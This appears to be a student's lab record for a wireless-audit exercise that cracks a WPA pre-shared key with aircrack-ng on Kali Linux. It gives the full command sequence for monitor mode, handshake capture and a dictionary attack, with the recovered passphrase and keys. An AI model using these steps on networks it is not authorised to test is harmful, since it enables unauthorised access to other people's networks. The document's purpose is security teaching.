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**ROLL NO:231901061**

**Ex. No.: 6b Date:24.09.2024      WIRELESS AUDIT**

**Aim:**

To perform wireless audit on Access Point and decrypt WPA keys using aircrack-ng tool in Kalilinux OS.

**Algorithm:**

1. Check the current wireless interface with iwconfig command.
2. Get the channel number, MAC address and ESSID with iwlist command.
3. Start the wireless interface in monitor mode on specific AP channel with airmon-ng.
4. If processes are interfering with airmon-ng then kill those process.
5. Again start the wireless interface in monitor mode on specific AP channel with airmon-ng.
6. Start airodump-ng to capture Initialization Vectors(IVs).
7. Capture IVs for atleast 5 to 10 minutes and then press Ctrl + C to stop the operation.
8. List the files to see the captured files
9. Run aircrack-ng to crack key using the IVs collected and using the dictionary file rockyou.txt
10. If the passphrase is found in dictionary then Key Found message displayed; else print Key Not Found.

**Output:**

**root@kali:~# iwconfig**

eth0 no wireless extensions.

**wlan0** IEEE 802.11bgn ESSID:off/any

**Mode:Managed** Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off

Encryption key:off Power Management:off

lo no wireless extensions.

**root@kali:~# iwlist wlan0 scanning**

wlan0 Scan completed :

**Cell 01 - Address: 14:F6:5A:F4:57:22**  
**Channel:6**

Frequency:2.437 GHz (Channel 6) Quality=70/70 Signal level=-27 dBm Encryption key:on  
**ESSID:"BENEDICT"**

Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s

Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s

36 Mb/s; 48 Mb/s; 54 Mb/s

**Mode:Master** Extra:tsf=00000000425b0a37 Extra: Last beacon: 548ms ago IE: WPA  
Version 1

Group Cipher : TKIP

Pairwise Ciphers (2) : CCMP TKIP Authentication Suites (1) : PSK

**root@kali:~# airmon-ng start wlan0**

Found 2 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them!

PID Name

1148 NetworkManager

1324 wpa\_supplicant

PHY InterfaceDriver Chipset

phy0 wlan0 ath9k\_htcAtheros Communications, Inc. AR9271 802.11n

Newly created monitor mode interface wlan0mon is **\*NOT\*** in monitor mode. Removing non-monitor wlan0mon interface...

WARNING: unable to start monitor mode, please run "airmon-ng check kill"

**root@kali:~# airmon-ng check kill**

Killing these processes: PID Name

1324 wpa\_supplicant

**root@kali:~# airmon-ng start wlan0**

PHY InterfaceDriver Chipset

phy0 wlan0 ath9k\_htcAtheros Communications, Inc. AR9271 802.11n

(mac80211 **monitor mode** vif enabled for [phy0]wlan0 on [phy0]**wlan0mon**) (mac80211 station mode vif disabled for [phy0]wlan0)

**root@kali:~# airodump-ng -w atheros -c 6 --bssid 14:F6:5A:F4:57:22 wlan0mon CH 6** ][ Elapsed: 5 mins ][ 2016-10-05 01:35 ][ **WPA handshake:** 14:F6:5A:F4:57:

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH E 14:F6:5A:F4:57:22  
-31 100 3104 10036 0 6 54e. WPA CCMP PSK B

BSSID STATION PWR Rate Lost Frames Probe 14:F6:5A:F4:57:22  
70:05:14:A3:7E:3E -32 2e- 0 0 10836

**root@kali:~# ls -l**

total 10348

-rw-r--r-- 1 root root 10580359 Oct 5 01:35 **atheros-01.cap**

-rw-r--r-- 1 root root 481 Oct 5 01:35 atheros-01.csv

-rw-r--r-- 1 root root 598 Oct 5 01:35 atheros-01.kismet.csv

-rw-r--r-- 1 root root 2796 Oct 5 01:35 atheros-01.kismet.netxml

**root@kali:~# aircrack-ng -a 2 atheros-01.cap -w**

**/usr/share/wordlists/rockyou.txt** [00:00:52] 84564 keys tested (1648.11 k/s)

**KEY FOUND! [ rec12345 ]**

Master Key : CA 53 9B 5C 23 16 70 E4 84 53 16 9E FB 14 77 49 A9 7A A0 2D 9F BB 2B  
C3 8D 26 D2 33 54 3D 3A 43

Transient Key : F5 F4 BA AF 57 6F 87 04 58 02 ED 18 62 37 8A 53

38 86 F1 A2 CA 0D 4A 8D D6 EC ED 0D 6C 1D C1 AF

81 58 81 C2 5D 58 7F FA DE 13 34 D6 A2 AE FE 05 F6 53 B8 CA A0 70 EC 02 1B EA  
5F 7A DA 7A EC 7D

EAPOL HMAC 0A 12 4C 3D ED BD EE C0 2B C9 5A E3 C1 65 A8 5C **Result:** Thus, the

wireless auditing and decrypting of WPA keys has been done successfully.